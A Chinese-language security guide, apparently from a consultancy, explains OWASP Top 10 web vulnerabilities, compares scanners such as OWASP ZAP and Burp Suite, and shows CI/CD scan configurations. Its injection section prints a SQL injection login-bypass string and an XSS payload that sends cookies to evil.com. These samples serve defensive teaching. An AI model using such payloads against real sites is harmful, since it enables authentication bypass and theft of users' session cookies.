網站弱點掃描實務指南|從 OWASP Top 10 到 CI/CD 自動化檢測
網站弱點掃描實務指南|從 OWASP Top 10 到 CI/CD 自動化檢測
引言:你的網站,可能比你想像中更脆弱
一個 SQL Injection 漏洞,可以在幾分鐘內讓駭客拿走你整個資料庫。
這不是誇張。根據 Verizon 的資料外洩調查報告,超過 40% 的資料外洩事件與 Web 應用程式漏洞有關。電商被盜刷、會員資料外洩、網站被植入挖礦程式——這些新聞背後,很多都是 Web 漏洞惹的禍。
網站弱點掃描,就是幫你在駭客之前找到這些洞。
這篇文章會帶你了解:
- Web 應用程式最常見的漏洞類型(OWASP Top 10)
- 該用什麼工具來掃描
- 如何把掃描整合進開發流程(DevSecOps)
無論你是開發者、QA 還是資安人員,這篇都能幫你建立 Web 安全的正確觀念。
如果你對弱點掃描還不熟,建議先閱讀 弱點掃描是什麼?完整指南。
OWASP Top 10:你必須知道的 Web 漏洞
OWASP(Open Web Application Security Project)每幾年會發布一份「Top 10」清單,列出最常見、最危險的 Web 應用程式漏洞。
這份清單是 Web 安全的聖經,也是掃描工具的檢測依據。
2021 年版 OWASP Top 10
| 排名 | 漏洞類型 | 說明 |
|---|---|---|
| A01 | Broken Access Control | 存取控制失效,用戶能存取不該看到的資料 |
| A02 | Cryptographic Failures | 加密失敗,敏感資料未加密或加密不當 |
| A03 | Injection | 注入攻擊,包括 SQL、NoSQL、OS 命令注入 |
| A04 | Insecure Design | 不安全的設計,架構層面的安全缺陷 |
| A05 | Security Misconfiguration | 安全設定錯誤,預設值未修改、錯誤訊息外洩 |
| A06 | Vulnerable Components | 使用有漏洞的元件,如過時的套件 |
| A07 | Authentication Failures | 身份驗證失效,包括弱密碼、Session 管理問題 |
| A08 | Software and Data Integrity | 軟體和資料完整性問題,如不安全的 CI/CD |
| A09 | Security Logging Failures | 安全日誌記錄不足,無法追蹤攻擊行為 |
| A10 | SSRF | 伺服器端請求偽造,可存取內部資源 |
重點漏洞詳解
以下詳細說明最常遇到的四種漏洞:
A01:Broken Access Control(存取控制失效)
這是 2021 年的第一名,從 2017 年的第五名躍升。
什麼意思?
用戶能夠存取超出權限的資源。例如:
- 普通用戶能看到管理員頁面
- 修改 URL 中的 ID 就能看到別人的訂單
- API 沒有驗證用戶身份
真實案例:
某電商網站,把訂單 ID 直接放在 URL:
https://shop.example.com/order/12345
攻擊者只要把 12345 改成 12346,就能看到別人的訂單資料。
掃描能抓到嗎?
部分可以。自動化工具能檢測基本的 IDOR(Insecure Direct Object References),但複雜的邏輯漏洞可能需要人工測試。
A03:Injection(注入攻擊)
經典中的經典,包括 SQL Injection、XSS、Command Injection 等。
SQL Injection 範例:
假設登入功能這樣寫:
SELECT * FROM users WHERE username = '$input'
攻擊者輸入:
' OR '1'='1
查詢變成:
SELECT * FROM users WHERE username = '' OR '1'='1'
直接繞過驗證。
XSS(Cross-Site Scripting)範例:
網站沒有過濾用戶輸入,攻擊者在留言板輸入:
<script>document.location='http://evil.com/?c='+document.cookie</script>
其他用戶瀏覽這則留言時,Cookie 就被偷走了。
掃描能抓到嗎?
可以。這是自動化掃描工具最擅長的領域。
A02:Cryptographic Failures(加密失敗)
敏感資料沒有適當加密保護。
常見問題:
- 密碼用 MD5 或 SHA1 雜湊(已經不安全)
- 資料庫連線沒用 SSL
- API 傳輸敏感資料沒加密
- 使用過時的加密演算法
掃描能抓到嗎?
部分可以。工具能檢測 SSL/TLS 設定問題、不安全的 HTTP 傳輸,但無法判斷密碼雜湊演算法是否足夠強。
A07:Authentication Failures(身份驗證失效)
登入機制有漏洞。
常見問題:
- 允許弱密碼
- 沒有防暴力破解機制
- Session ID 可預測
- 忘記密碼功能可以列舉用戶
- 多因素驗證可被繞過
掃描能抓到嗎?
部分可以。工具能測試暴力破解保護、Session 管理,但複雜的邏輯問題需要人工測試。
網站有這些漏洞嗎? 預約網站資安健檢,快速找出潛在風險。

Web 掃描工具選擇
不同工具有不同的強項。以下是主流的 Web 弱點掃描工具比較:
工具總覽
| 工具 | 類型 | 價格 | 最適合 |
|---|---|---|---|
| OWASP ZAP | 免費開源 | $0 | 開發團隊、入門學習 |
| Burp Suite | 付費專業 | $449/年起 | 滲透測試、深度測試 |
| Acunetix | 企業級 | $4,500/年起 | 企業自動化掃描 |
| Fortify WebInspect | 企業級 | 依報價 | 大型企業、SDLC 整合 |
| Nuclei | 免費開源 | $0 | 進階用戶、自訂規則 |
OWASP ZAP
定位: 免費、功能完整、社群活躍
優點:
- 完全免費,無功能限制
- GUI 和 CLI 都有,適合不同場景
- 可整合進 CI/CD
- 持續更新,社群支援強
- 適合開發人員自測
缺點:
- 誤報率比商業工具高
- 複雜的 JavaScript 應用可能爬不完整
- 報告格式不如商業工具精美
適合: 開發團隊、資安入門、預算有限的公司
更多免費工具介紹,可參考 免費弱點掃描工具推薦。
想比較各種付費工具的功能差異?可參考 弱點掃描工具比較:Nessus vs OpenVAS vs Acunetix。
Burp Suite
定位: 滲透測試人員的標準工具
版本差異:
- Community(免費):基本功能,手動測試
- Professional($449/年):自動掃描、進階功能
- Enterprise(報價):大規模自動化
優點:
- 手動 + 自動測試完美結合
- Intruder 功能強大(參數模糊測試)
- 擴充套件生態系豐富
- 滲透測試業界標準
缺點:
- 學習曲線陡峭
- Professional 版才有完整掃描功能
- 不太適合純自動化場景
適合: 資安專業人員、滲透測試團隊
Acunetix
定位: 企業級 Web 應用安全掃描
優點:
- OWASP Top 10 覆蓋率最高
- 智慧爬蟲技術,能處理複雜的 SPA
- 報告專業,適合給主管看
- CI/CD 整合完善
- 原廠技術支援
缺點:
- 價格較高
- 按目標網站計價
- 深度掃描可能影響網站效能
適合: 電商、SaaS、金融科技公司
Fortify WebInspect
定位: 企業級、與開發流程深度整合
優點:
- 與 Fortify SSC 整合,統一管理
- 支援 DAST + IAST 混合模式
- 合規報告完整(PCI DSS、HIPAA)
- 與 SDLC 工具鏈整合佳
缺點:
- 價格高昂
- 部署複雜
- 需要專人維護
適合: 大型企業、有嚴格合規需求的組織

掃描執行實務
掃描前準備
1. 確認掃描範圍
- 要掃哪些網域和子網域?
- 要掃哪些 URL 路徑?
- 有沒有不能掃的區域(如金流頁面)?
2. 取得授權
這很重要:未經授權掃描別人的網站是違法的。
即使是掃自己公司的網站,也建議取得正式的書面授權,避免被誤會在攻擊。
3. 準備測試環境
建議在測試環境或 staging 環境掃描,而不是直接掃生產環境。
原因:
- 掃描可能產生大量垃圾資料
- 某些測試可能影響系統穩定
- 避免干擾真實用戶
4. 設定認證
很多頁面需要登入才能看到。記得設定:
- 登入憑證(用戶名、密碼)
- Session Token
- API Key(如果掃 API)
沒有認證,掃描器只能掃到首頁和公開頁面。
掃描模式選擇
被動掃描(Passive Scan)
只分析經過的流量,不主動發送攻擊請求。
適合:
- 生產環境初步評估
- 了解網站結構
- 不想影響系統效能
主動掃描(Active Scan)
主動發送各種攻擊 payload 來測試漏洞。
適合:
- 測試環境深度掃描
- 找出真正的漏洞
- 上線前的安全檢查
OWASP ZAP 掃描步驟
步驟 1:設定目標
1. 開啟 OWASP ZAP
2. 在 URL 欄位輸入目標網址
3. 按下「Attack」按鈕開始自動掃描
步驟 2:設定認證(如果需要)
1. 手動登入網站(ZAP 會記錄)
2. 或設定 Authentication Context
3. 選擇 Form-based 或 Script-based 認證
步驟 3:檢視結果
1. 在 Alerts 標籤查看發現的漏洞
2. 依風險等級排序(High > Medium > Low)
3. 點擊每個漏洞查看詳細資訊
步驟 4:匯出報告
1. Report > Generate HTML Report
2. 選擇報告格式和內容
3. 儲存報告檔案
CI/CD 整合:讓安全掃描自動化
DevSecOps 的核心理念:安全要左移(Shift Left),越早發現問題,修復成本越低。
把弱點掃描整合進 CI/CD,每次程式碼提交或部署都自動執行掃描。
GitHub Actions 整合
name: Security Scan
on:
push:
branches: [main, develop]
pull_request:
branches: [main]
jobs:
zap-scan:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: ZAP Baseline Scan
uses: zaproxy/[email protected]
with:
target: 'https://staging.example.com'
fail_action: true
rules_file_name: '.zap/rules.tsv'
- name: Upload Report
uses: actions/upload-artifact@v3
with:
name: zap-report
path: report_html.html
GitLab CI 整合
stages:
- build
- test
- security
zap-scan:
stage: security
image: owasp/zap2docker-stable
script:
- zap-baseline.py -t https://staging.example.com -r report.html
artifacts:
paths:
- report.html
when: always
only:
- main
- develop
Jenkins 整合
pipeline {
agent any
stages {
stage('Build') {
steps {
// 建置步驟
}
}
stage('Deploy to Staging') {
steps {
// 部署到測試環境
}
}
stage('Security Scan') {
steps {
script {
sh '''
docker run -v $(pwd):/zap/wrk:rw \
owasp/zap2docker-stable \
zap-baseline.py \
-t https://staging.example.com \
-r zap-report.html
'''
}
}
post {
always {
publishHTML([
reportDir: '.',
reportFiles: 'zap-report.html',
reportName: 'ZAP Security Report'
])
}
}
}
}
}
掃描策略建議
| 觸發時機 | 掃描類型 | 掃描深度 |
|---|---|---|
| 每次 Commit | Baseline Scan | 快速(5-10 分鐘) |
| 每次 PR | Baseline Scan | 快速 |
| 每日排程 | Full Scan | 深度(1-2 小時) |
| 上線前 | Full Scan + 人工驗證 | 最深 |

掃描結果處理
掃完之後,你會得到一堆漏洞。然後呢?
分類與優先排序
依風險等級:
| 等級 | 處理時間 | 範例 |
|---|---|---|
| Critical/High | 立即處理 | SQL Injection、RCE |
| Medium | 一週內 | XSS、資訊洩露 |
| Low | 下個迭代 | 不安全的 Cookie 設定 |
| Informational | 評估是否處理 | 版本資訊揭露 |
依業務影響:
同樣是 High 風險,發生在:
- 金流頁面 → 最優先
- 用戶資料頁 → 次優先
- 純展示頁面 → 再次之
處理誤報
自動化掃描不可能 100% 準確。
常見誤報情境:
- 工具認為是 XSS,但輸出有做編碼
- 工具認為有 SQL Injection,但實際用了參數化查詢
- 工具認為 Cookie 不安全,但那是非敏感 Cookie
驗證方式:
- 手動重現掃描器報告的攻擊向量
- 檢查程式碼確認是否有做防護
- 使用 Burp Suite 手動測試
確認是誤報後,在工具中標記排除,避免下次重複報告。
追蹤與修復
建議建立漏洞追蹤流程:
- 開票:每個漏洞開一張 ticket(Jira、GitHub Issues)
- 指派:指定負責修復的開發者
- 設定期限:依風險等級設定修復期限
- 驗證:修復後重新掃描確認
- 結案:確認修復完成,關閉 ticket
如何解讀掃描報告,可參考 弱點掃描報告解讀指南。
常見問題與挑戰
Q1:掃描會影響網站效能嗎?
會,特別是主動掃描(Active Scan)。
建議做法:
- 在測試環境掃描,而非生產環境
- 設定掃描速度限制(降低並發請求數)
- 安排在離峰時段執行
- 通知維運團隊,避免被誤認為攻擊
Q2:要多久掃一次?
取決於你的更新頻率:
| 情境 | 建議頻率 |
|---|---|
| 頻繁部署(每天/每週) | 每次部署都掃 |
| 定期發版(每月) | 每次發版前掃 |
| 很少更動 | 至少每季掃一次 |
| 有合規要求 | 依規範執行 |
Q3:掃描能取代滲透測試嗎?
不能。
自動化掃描能找出大部分的已知漏洞,但無法:
- 發現複雜的邏輯漏洞
- 測試多步驟的攻擊鏈
- 評估真實的業務風險
- 發現 0-day 漏洞
建議:日常用自動掃描,每年至少做一次人工滲透測試。想了解兩者的詳細差異,可參考 弱點掃描 vs 滲透測試。
Q4:掃出來的漏洞修不完怎麼辦?
很正常,資安是無止境的。
務實做法:
- 先處理 Critical 和 High
- 依業務影響排優先順序
- 設定合理的 SLA(如 High 7 天內修復)
- 接受不可能修到零漏洞
結論:安全掃描是持續的過程
三個重點帶走:
- 理解 OWASP Top 10:這是 Web 安全的基礎,掃描工具也以此為依據
- 選對工具:預算有限用 OWASP ZAP,需要深度測試用 Burp Suite,企業自動化用 Acunetix
- 整合進 CI/CD:讓安全掃描成為開發流程的一部分,而不是上線前才想到
Web 安全不是做一次就結束的事。持續掃描、持續修復、持續改善,才能真正保護你的網站和用戶資料。
需要專業的網站安全評估?
自動化掃描是好的起點,但企業網站通常需要更完整的評估:
- 深度掃描 + 人工驗證
- 專業的報告給管理層
- 修復建議和優先順序規劃
預約網站資安健檢,我們的資安顧問會:
- 執行完整的 Web 弱點掃描
- 人工驗證關鍵漏洞
- 提供修復建議和時程規劃
- 協助開發團隊理解和修復
首次諮詢免費。
沒有資安團隊執行掃描?可考慮 弱點掃描服務廠商 協助。
參考資料
- OWASP,《OWASP Top 10 2021》(2021)
- OWASP,《OWASP ZAP User Guide》(2024)
- PortSwigger,《Burp Suite Documentation》(2024)
- Acunetix,《Web Application Security Testing》(2024)
- Verizon,《2024 Data Breach Investigations Report》(2024)
- NIST,《Technical Guide to Information Security Testing》(2024)
相關文章
OWASP Top 10 完整解析:2025 最新版十大網站安全風險【2026 更新】
深入解析 OWASP Top 10 網站安全漏洞清單,涵蓋 2025 最新版十大弱點(含新增軟體供應鏈風險)、歷年版本比較、中文說明與實務應用指南。
弱點掃描免費弱點掃描工具推薦|2025 年 5 款實測評比與安裝教學
精選 5 款免費弱點掃描工具:OpenVAS、OWASP ZAP、Nikto、Nmap、Microsoft Defender。完整評比功能差異、適用場景,教你零成本建立基礎資安檢測能力。
OWASPOWASP 是什麼?2025 完整指南:Top 10、ZAP 工具、安全標準一次搞懂
深入了解 OWASP 網站安全標準,涵蓋 Top 10 漏洞清單、ZAP 弱點掃描工具、API/LLM/Mobile 安全指南。免費資源與企業導入實務。